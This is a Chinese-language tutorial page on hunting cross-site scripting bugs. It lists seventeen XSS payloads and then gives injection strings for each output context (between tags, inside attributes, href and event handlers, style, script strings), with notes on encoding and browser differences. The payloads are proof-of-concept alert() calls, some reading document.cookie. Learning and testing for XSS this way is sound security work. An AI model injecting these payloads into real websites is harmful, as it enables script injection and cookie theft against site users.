漏洞挖掘

来源:互联网 发布:网上开店铺的软件 编辑:程序博客网 时间:2024/06/05 10:04

1.URL上的玄机

URL的一种常见组成模式: http://www.foo.com/path/f.php?id=1&type=cool#new

URL的特例:http://www.foo.com/path/1/id#new  id是参数名,1是参数值

2.HTML中的玄机

alert() 弹出个提示框 (确定) 

confirm() 弹出个确认框 (确定,取消) 

prompt() 弹出个输入框 让你输入东西

1.<script>alert('xss')</script>

2.<script>alert('xss');</script>

3.' "><script>alert(1)</script>

4.<script>alert(document.domain)</script>

5.'><script>alert(document.cookie)</script>

6.%3Cscript%3Ealert('xss')%3C/script%3E

7.<img src="javascript:alert('xss')">

8.<img/src=@ onerror=alert(1) />

9.' "><img/src=@ onerror=alert(1) />

10.' onmouseover=alert(1) x='

11." onmouseover=alert(1) x="

12.` onmouseover=alert(1) x=`

13.alert(1)//

14.' ";alert(1)//

15.javascript:alert(1)//

16.</script><script>alert(1)//

17.}x:expression(alert(1))

总结:xss容易出现的位置

1.HTML标签之间,比如出现在<div id="body">输出</div>位置

payload: id=1<script>alert(1)</script>

注意:以下标签之间无法执行脚本

<title></title> <textarea></textarea> <xmp></xmp> <iframe></iframe> 

<noscript></noscript><noframes</noframes> <plaintext></plaintext>

payload: </title><script>alert(1)</script>

2.HTML标签之内,比如出现在<input type="text" value="输出"/>位置

payload: " onmouseover=alert(1) x="  闭合属性,然后使用on事件来触发脚本

payload: "><script>alert(1)</script> 闭合属性又闭合标签,然后直接执行脚本

注意:第二个比第一个多了<>字符,而目标网站防御xss很可能过滤或编码了<>字符。

对于<input type="hidden" value="输出" />情况

payload: "><script>alert(1)</script>   //我们只能闭合input标签,否则由于hidden特性会触发不了xss

对于<input value="输出" type="hidden" />情况

payload: 1" onmouseover=alert(1) type="text   //鼠标移上去就可触发xss

1)输出在src/href/action等属性内,比如<a href="输出">click me</a>

payload: javascript:alert(1)//

2)输出在on*事件内,比如<a href="#" onclick="输出">click me</a>

payload: alert(1)

输出:<a href="#" onclick="eval(alert(1))">click me</a>

3)输出在style属性内,比如<a href="#" style="输出">click me</a>

payload: 1;xss:expression(if(!window.x) {alert(1);window.x=1;})

输出:<a href="#" style="width:1;xss:expression(if(!window.x) {alert(1);window.x=1;})">click me</a>

注意:在style中执行脚本是IE浏览器独有的特性

4)属性引用符号

payload: `javascript:alert(1) -html`

输出:<a href=`javascript:alert(1) -html`>click me</a>

注意:HTML属性值可以不用引号,或者使用单引号,双引号,反单引号(近IE浏览器支持)进行应用

注意:在xss漏洞挖掘中,需要识别闭合引号的有无及其类型,不要盲目

3.成为JavaScript代码的值,比如:<script>a="输出";</script>位置

payload: </script><script>alert(1)//     闭合<script>标签

payload: ";alert(1)//   闭合a变量

payload: alert(1)   巧合a变量在其他地方被eval等执行了

注意://是JavaScript注释符

4.成为CSS代码的值,比如:<style>body{font-size:输出px;}</style>位置

二。HTML与JavaScript自解码机制

1.HTML编码

payload: '<img src=@ onerror=alert(1) />'

输出:<input type="button" id="exec_btn" value="exec" onclick="document.write('<img src=@ onerror=alert(1) />')" />

输出:<input type="button" id="exec_btn" value="exec" onclick="document.write(HTMLEncode('<img src=@ onerror=alert(1) />'))" />

注意:小心HTML实体编码HTMLEncode('<img src=@ onerror=alert(1) />')会将<>过滤

2.JavaScript编码

如果用户输入出现在<script>..</script>中,将会自动进行JavaScript编码

3.URL编码差异

FireFox编码了' " ` <>特殊字符

Chrome只编码了" <>特殊字符

IE内核不做任何编码


原创粉丝点击